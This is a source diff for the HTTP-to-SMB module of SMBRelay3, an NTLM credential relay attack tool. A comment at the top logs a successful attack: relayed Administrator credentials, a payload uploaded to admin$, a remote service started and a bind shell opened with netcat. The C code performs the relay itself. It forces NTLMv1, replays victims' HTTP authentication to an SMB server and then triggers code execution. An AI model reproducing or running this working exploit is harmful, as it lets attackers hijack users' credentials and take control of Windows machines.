|
| 1 | +/* |
| 2 | + SMBRelay3 - HTTP REPLAY ATTACK MODULE |
| 3 | + ------------------------------------- |
| 4 | +
|
| 5 | +
|
| 6 | +C:\smbrelay>smbrelay3.exe --ListForHTTPRequests |
| 7 | +[+] Accepted Connection - Replaying against 192.168.47.128 |
| 8 | +[+] Reading Initial HTTP Request... |
| 9 | +[+] Sending Default HTTP 401 Error response and asking for authentiation NTLM |
| 10 | +[+] Reading Second HTTP Request with Auhorization Header.. |
| 11 | +GET /test HTTP/1.1 |
| 12 | +[+] Authorization header received. |
| 13 | +[+] Init HTTP to SMB attack - Connecting with: 192.168.47.128:445 |
| 14 | +Received SMB Message with NTLM v2 packet |
| 15 | +Sending NTLM Challenge from SMB Server to the HTTP Client |
| 16 | +Sending HTTP Response: HTTP/1.1 401 Access Denied |
| 17 | +Received Final Authentication packet from remote HTTP Client |
| 18 | +Trying to authenticate to remote SMB as Administrador |
| 19 | +Sending Final SMB Authentication packet with NTLM Message type 3 |
| 20 | +SessionSetupAndX Completed. Authenticacion against 192.168.47.128 Succeed as Administrador |
| 21 | +[+] Connecting against \\192.168.47.128\ipc$ |
| 22 | +[+] Trying to connect to admin$ |
| 23 | +[+] Creating Remote File smrs.exe under admin$ |
| 24 | +[+] Writing File smrs.exe into admin$ (2048 bytes) |
| 25 | +[+] Opening Remote Service Control Manager pipe \svcctl |
| 26 | +[*] Sending RPC BindRequest to SCM pipe |
| 27 | +[*] Reading Response from Binding Request |
| 28 | +[+] Opening Remote Service Control Manager (Creating Service) |
| 29 | +[+] Creating Remote Service |
| 30 | +[+] Opening Remote Service |
| 31 | +[+] Starting Remote Service... |
| 32 | +[+] *** Remote SmbRelay3 BindShell Service Running ***: (192.168.47.128:8080) |
| 33 | +
|
| 34 | +
|
| 35 | +C:\smbrelay>nc 192.168.47.128 8080 |
| 36 | +Microsoft Windows 2000 [Versión 5.00.2195] |
| 37 | +(C) Copyright 1985-2000 Microsoft Corp. |
| 38 | +
|
| 39 | +C:\WINNT\system32> |
| 40 | +
|
| 41 | +*/ |
| 42 | + |
| 43 | +#include "httprelay.h" |
| 44 | +#include "payload.h" |
| 45 | + |
| 46 | +extern int verbose; |
| 47 | +extern int ProxySMB; |
| 48 | + |
| 49 | +int HandleIncommingHTTPRequest(RELAY *relay, char *destinationhostname,int destinationport) |
| 50 | +{ |
| 51 | + char request[4096]; |
| 52 | + int leido=0; |
| 53 | + int total=0; |
| 54 | + char **header; |
| 55 | + unsigned int nheaders=0; |
| 56 | + char *data; |
| 57 | + char *p; |
| 58 | + int i; |
| 59 | + char buf[4096]; |
| 60 | + char buf1[4096]; |
| 61 | + char buf2[4096]; |
| 62 | + uint16 packetlen; |
| 63 | + smheader *SmbPacket1, *SmbPacket2, *SmbPacket3; |
| 64 | + smheader *NegotiateProtocol; |
| 65 | + char CurrentUserName[256]; |
| 66 | + char CurrentDomain[256]; |
| 67 | + char CurrentWorkstation[256]; |
| 68 | + const uint8 SpoofedChallengeKey[]="\x11\x22\x33\x44\x55\x66\x77\x88"; |
| 69 | + |
| 70 | + |
| 71 | + |
| 72 | + char InitialResponse[]= "HTTP/1.1 401 Unauthorized\r\n" |
| 73 | + "Content-Length: 0\r\n" |
| 74 | + "Content-Type: text/html\r\n" |
| 75 | + "Server: Microsoft-IIS/6.0\r\n" |
| 76 | + "WWW-Authenticate: NTLM\r\n" |
| 77 | + "Connection: keep-alive\r\n\r\n"; |
| 78 | + char owned[4096]="<html><title>smbrelay owning</title><body><h1>You have been owned by Smbrelay3</body></html>"; |
| 79 | + |
| 80 | + memset(request,'\0',sizeof(request)); |
| 81 | + total=ReadRequest(relay,(char*)&request,sizeof(request)); |
| 82 | + if (total<=0) return(1); |
| 83 | + printf("[+] Reading Initial HTTP Request...\r"); |
| 84 | + CleanLine(verbose); |
| 85 | + if (verbose){ |
| 86 | + printf("\n"); |
| 87 | + if (debug) { |
| 88 | + printf("\n%s\n",request); |
| 89 | + } |
| 90 | + } |
| 91 | + do { |
| 92 | + |
| 93 | + printf("[+] Sending Default HTTP 401 Error response and asking for authentiation NTLM\r"); |
| 94 | + CleanLine(verbose); |
| 95 | + send(relay->source,InitialResponse,(int)strlen(InitialResponse),0); |
| 96 | + |
| 97 | + memset(request,'\0',sizeof(request)); |
| 98 | + total=ReadRequest(relay,(char*)&request,sizeof(request)); |
| 99 | + if (total<=0) return(1); |
| 100 | + CleanLine(verbose); |
| 101 | + printf("[+] Reading Second HTTP Request with Auhorization Header..\r"); |
| 102 | + header=ParseHeaders(request,&nheaders); |
| 103 | + data=GetHeaderValue(header, nheaders, "Authorization: NTLM ") ; |
| 104 | + if (!data) { |
| 105 | + if (verbose) printf("\n"); |
| 106 | + if (debug) { |
| 107 | + CleanLine(verbose); |
| 108 | + printf("[+] Ooops! Authorization header missing\n"); |
| 109 | + printf("%s\n",request); |
| 110 | + return(0); |
| 111 | + } |
| 112 | + } else { |
| 113 | + if (verbose) printf("\n%s\n",request); |
| 114 | + } |
| 115 | + } while (!data); |
| 116 | + |
| 117 | + if (verbose) { |
| 118 | + CleanLine(verbose); |
| 119 | + printf("[+] Authorization header received.\n"); |
| 120 | + if (debug) { |
| 121 | + printf("%s\n",data); |
| 122 | + } |
| 123 | + } |
| 124 | + |
| 125 | + if (!ProxySMB) |
| 126 | + { |
| 127 | + CleanLine(verbose); |
| 128 | + printf("[+] Init HTTP to SMB attack - Connecting with: %s:%i\r",destinationhostname,destinationport); |
| 129 | + i=ConnectToRemoteHost(relay,destinationhostname,destinationport); |
| 130 | + if (!i) { |
| 131 | + CleanLine(verbose); |
| 132 | + printf("[-] Unable to connect to remote host %s:%i\r",destinationhostname,destinationport); |
| 133 | + return(0); |
| 134 | + } |
| 135 | + if (verbose) printf("\n"); |
| 136 | + printf("Sending SMB Authentication Handshake \r"); |
| 137 | + p = AddDialect(NULL,"PC NETWORK PROGRAM 1.0",0x02, &i); |
| 138 | + p = AddDialect(p,"LANMAN1.0", 0x02,&i); |
| 139 | + p = AddDialect(p,"Windows for Workgroups 3.1a", 0x02,&i); |
| 140 | + p = AddDialect(p,"LM1.2X002", 0x02,&i); |
| 141 | + p = AddDialect(p,"LANMAN2.1", 0x02,&i); |
| 142 | + p = AddDialect(p,"NT LM 0.12", 0x02,&i); |
| 143 | + NegotiateProtocol=BuildSmbPacket(NULL,NEGOTIATEPROTOCOLREQUEST,0,p,i); |
| 144 | + free(p); |
| 145 | + i=SendBytesAndWaitForResponse(relay->destination,(char*)NegotiateProtocol,SmbPacketLen(NegotiateProtocol),(char*)buf,sizeof(buf),SMBWAITTIMEOUT); |
| 146 | + free(NegotiateProtocol); |
| 147 | + |
| 148 | + if (i<=0){ |
| 149 | + printf("[-] Initial SMBHandShake (LanManager Negotiation) Failed \n"); |
| 150 | + return(0); |
| 151 | + |
| 152 | + } |
| 153 | + memset(buf,'\0',sizeof(buf)); |
| 154 | + |
| 155 | + SmbPacket1=BuildSmbPacket1(); |
| 156 | + if (debug) { |
| 157 | + printf("\n[*]Dumping SMB Packet With NTLM Message Type 1 \n"); |
| 158 | + DumpMem((char*)SmbPacket1,SmbPacketLen(SmbPacket1)); |
| 159 | + } |
| 160 | + |
| 161 | + SmbPacket2=GetSmbPacket2(relay,SmbPacket1); |
| 162 | + if (SmbPacket2==NULL) { |
| 163 | + printf("Unable to receive SMB Packet with NTLM Message Type 2 \n"); |
| 164 | + return(0); |
| 165 | + } |
| 166 | + printf("Received SMB Message with NTLM v2 packet\n"); |
| 167 | + memcpy((char*)&packetlen,GetNTLMPacketFromSmbPacket(SmbPacket2)-4,2); |
| 168 | + |
| 169 | + if (debug) { |
| 170 | + printf("SMB Packet Dump:\n"); |
| 171 | + DumpMem((char*)SmbPacket2,SmbPacketLen(SmbPacket2)); |
| 172 | + printf("NTLM Challenge packet from SMB message\n"); |
| 173 | + DumpMem((char*)GetNTLMPacketFromSmbPacket(SmbPacket2),packetlen); |
| 174 | + |
| 175 | + |
| 176 | + } |
| 177 | + if (verbose) |
| 178 | + { |
| 179 | + printf("[+] Debug Information \n"); |
| 180 | + dumpAuthChallenge(0,(tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2)); |
| 181 | + } |
| 182 | + //HACK: Force NTLMv1 |
| 183 | + ((tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2))->flags=0x0000b207; |
| 184 | + //((tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2))->flags=0xA0003287; |
| 185 | + to64frombits((unsigned char*)&buf1, (unsigned char*)GetNTLMPacketFromSmbPacket(SmbPacket2), packetlen); |
| 186 | + } else { |
| 187 | + //TODO: Generar paquete Auth Challenge |
| 188 | + //BuildAuthChallenge((tSmbNtlmAuthChallenge *)buf, "SMBRELAY3","SERVERNAME", "SERVER","SERVER",0,(uint8*)&SpoofedChallengeKey); |
| 189 | + //to64frombits((unsigned char*)&buf1, (unsigned char*)buf,NtlmChallengeSize((tSmbNtlmAuthChallenge *)buf)); |
| 190 | + } |
| 191 | + |
| 192 | + |
| 193 | + |
| 194 | + sprintf(buf,"HTTP/1.1 401 Access Denied\r\nServer: Microsoft-IIS/6.0\r\nWWW-Authenticate: NTLM %s\r\nContent-Length: 0\r\nContent-Type: text/html\r\n\r\n",buf1); |
| 195 | + |
| 196 | + printf("Sending NTLM Challenge from SMB Server to the HTTP Client\n"); |
| 197 | + if (verbose) |
| 198 | + { |
| 199 | + printf("Sending HTTP Response: %s\n",buf); |
| 200 | + } |
| 201 | + send(relay->source,buf,(int)strlen(buf),0); |
| 202 | + |
| 203 | + total=ReadRequest(relay,(char*)&request,sizeof(request)); |
| 204 | + if (total<=0) { |
| 205 | + printf("Error reading Final Authentication packet from HTTP Client\n"); |
| 206 | + return(1); |
| 207 | + } |
| 208 | + printf("Received Final Authentication packet from remote HTTP Client\n"); |
| 209 | + if(verbose) |
| 210 | + { |
| 211 | + printf("%s\n",request); |
| 212 | + } |
| 213 | + header=ParseHeaders(request,&nheaders); |
| 214 | + data=GetHeaderValue(header, nheaders, "Authorization: NTLM ") ; |
| 215 | + if (!data) { |
| 216 | + printf("Ooops! Authorization header missing\n"); |
| 217 | + return(0); |
| 218 | + } |
| 219 | + |
| 220 | +// printf("lenght del hash3 ntlm: %i\n",strlen(data)); |
| 221 | + memset((char*)&buf1,'\0',sizeof(buf1)); |
| 222 | + packetlen=from64tobits(buf1, data); |
| 223 | + if (verbose) { |
| 224 | + if (debug) |
| 225 | + { |
| 226 | + printf("Raw authorization packet (len: %i)\n",packetlen); |
| 227 | + DumpMem(buf1,packetlen+10); |
| 228 | + } |
| 229 | + dumpAuthResponse(0,(tSmbNtlmAuthResponse*)buf1); |
| 230 | + } |
| 231 | + if ( ((tSmbNtlmAuthResponse*)buf1)->ntResponse.len != 24 ) |
| 232 | + { |
| 233 | + printf("[-] Remote HTTP Client forced NTLMv2 Authentication\n"); |
| 234 | + strcpy(request,"HTTP/1.1 401 Unauthorized\r\nContent-Length: 0\r\nConnection: close\r\n\r\n"); |
| 235 | + send(relay->source,request,(int)strlen(request),0); |
| 236 | + return(0); |
| 237 | + } |
| 238 | + |
| 239 | + |
| 240 | + GetNTLMPacketInfo((tSmbNtlmAuthResponse*)buf1,(char*)&CurrentUserName, (char*)&CurrentDomain, (char*)&CurrentWorkstation,verbose); |
| 241 | + printf("Trying to authenticate to remote SMB as %s\n",CurrentUserName); |
| 242 | +//A1 |
| 243 | + //DumpMem(buf1,packetlen); |
| 244 | + |
| 245 | + buildAuthResponse((tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2),(tSmbNtlmAuthResponse*)buf2,0,CurrentUserName,NULL,NULL,CurrentWorkstation, (tSmbNtlmAuthResponse*)buf1); |
| 246 | + |
| 247 | + |
| 248 | + SmbPacket3=BuildSmbPacket((smheader*)SmbPacket2,SESSIONSETUPANDX,0,buf2,(int)SmbLength((tSmbNtlmAuthResponse *)buf2)); |
| 249 | + |
| 250 | + printf("Sending Final SMB Authentication packet with NTLM Message type 3 \r"); |
| 251 | + if (verbose) printf("\n"); |
| 252 | + if (debug) |
| 253 | + { |
| 254 | + DumpMem((char*)SmbPacket3, SmbPacketLen(SmbPacket3)); |
| 255 | + } |
| 256 | + |
| 257 | + i=SendBytesAndWaitForResponse(relay->destination,(char*)SmbPacket3, SmbPacketLen(SmbPacket3),(char*)buf,sizeof(buf),SMBWAITTIMEOUT); |
| 258 | + if (i<=0){ |
| 259 | + printf("[-] Error reading Server Authentication Response \n"); |
| 260 | + return(0); |
| 261 | + |
| 262 | + } |
| 263 | + if (debug) { |
| 264 | + printf("[-] SessionSetupAndX Completed - Dumping received packet \n"); |
| 265 | + DumpMem(buf,i); |
| 266 | + } |
| 267 | + |
| 268 | + if (((smheader*)buf)->NtStatus!=0x00000000) { |
| 269 | + strcpy(request,"HTTP/1.1 401 Unauthorized\r\nContent-Length: 0\r\nConnection: close\r\n\r\n"); |
| 270 | + send(relay->source,request,(int)strlen(request),0); |
| 271 | + printf("[-] SessionSetupAndX Completed. Authentication Failed \n"); |
| 272 | + return(0); |
| 273 | + } |
| 274 | + |
| 275 | + //WriteDataToReportFile("log.txt", (tSmbNtlmAuthResponse*)buf1, destinationhostname,(unsigned char*)((tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2))->challengeData); |
| 276 | + |
| 277 | + printf("SessionSetupAndX Completed. Authenticacion against %s Succeed as %s\r",destinationhostname,CurrentUserName); |
| 278 | + if (verbose) |
| 279 | + { |
| 280 | + printf("\n"); |
| 281 | + sprintf(owned,"<html><title>smbrelay III</title><body><h1>Dear %s\\%s<br></h1> Your credentials were replayed against %s and code execution succeed</body></html>",CurrentWorkstation,CurrentUserName,destinationhostname); |
| 282 | + //GetNTLMPacketInfo((tSmbNtlmAuthResponse*)buf1,(char*)&CurrentUserName, (char*)&CurrentDomain, (char*)&CurrentWorkstation,verbose); |
| 283 | + } |
| 284 | + |
| 285 | + sprintf(request,"HTTP/1.1 200 OK\r\nContent-Length: %i\r\nConnection: close\r\n\r\n%s",strlen(owned),owned); |
| 286 | + send(relay->source,request,(int)strlen(request),0); |
| 287 | + ExecuteCode( *relay); |
| 288 | + return(1); |
| 289 | + |
| 290 | +} |
| 291 | +int ReadRequest(RELAY *relay, char *request, int requestsize) |
| 292 | +{ |
| 293 | + int leido=0; |
| 294 | + int total=0; |
| 295 | + int EndOfRequest=0; |
| 296 | + do |
| 297 | + { |
| 298 | + leido=recv( relay->source,request+total,requestsize-total,0 ); |
| 299 | + total+=leido; |
| 300 | + EndOfRequest=(strcmp(request+total-4,"\r\n\r\n")==0); |
| 301 | + } while ( (!EndOfRequest) && (leido>0) ); |
| 302 | + return(total); |
| 303 | + |
| 304 | +} |
| 305 | +/******************************/ |
| 306 | +char **ParseHeaders(char *lpBuffer, unsigned int *nheaders) |
| 307 | +{ |
| 308 | + char *next; |
| 309 | + char *current=lpBuffer; |
| 310 | + char **header; |
| 311 | + |
| 312 | + header=NULL; |
| 313 | + *nheaders=0; |
| 314 | + |
| 315 | + if ( (!lpBuffer) ||(*lpBuffer=='\0') ) |
| 316 | + { |
| 317 | + *nheaders=0; |
| 318 | + return(NULL); |
| 319 | + } |
| 320 | + do { |
| 321 | + |
| 322 | + next=strchr(current,'\n'); |
| 323 | + header=(char **)realloc(header,sizeof(char*)*(*nheaders+1)); |
| 324 | + if (next) { |
| 325 | + next[0]='\0'; |
| 326 | + if (*(next-1)=='\r') *(next-1)='\0'; |
| 327 | + } |
| 328 | + header[*nheaders]=current; |
| 329 | + *nheaders=*nheaders+1; |
| 330 | + if (!next) break; |
| 331 | + current=next+1; |
| 332 | + } while ((*current!='\r') && (*current!='\n') ); |
| 333 | + return(header); |
| 334 | +} |
| 335 | +/******************************/ |
| 336 | +char *GetHeaderValue(char **header, int nheaders, char *Header) |
| 337 | +{ |
| 338 | + |
| 339 | + |
| 340 | + for(unsigned int i=1;i<(unsigned int)nheaders;i++) |
| 341 | + { |
| 342 | + if (_strnicmp(header[i],Header,strlen(Header))==0) |
| 343 | + { |
| 344 | + return(header[i] + strlen(Header)); |
| 345 | + } |
| 346 | + } |
| 347 | + return(NULL); |
| 348 | + |
| 349 | +} |
| 350 | + |
0 commit comments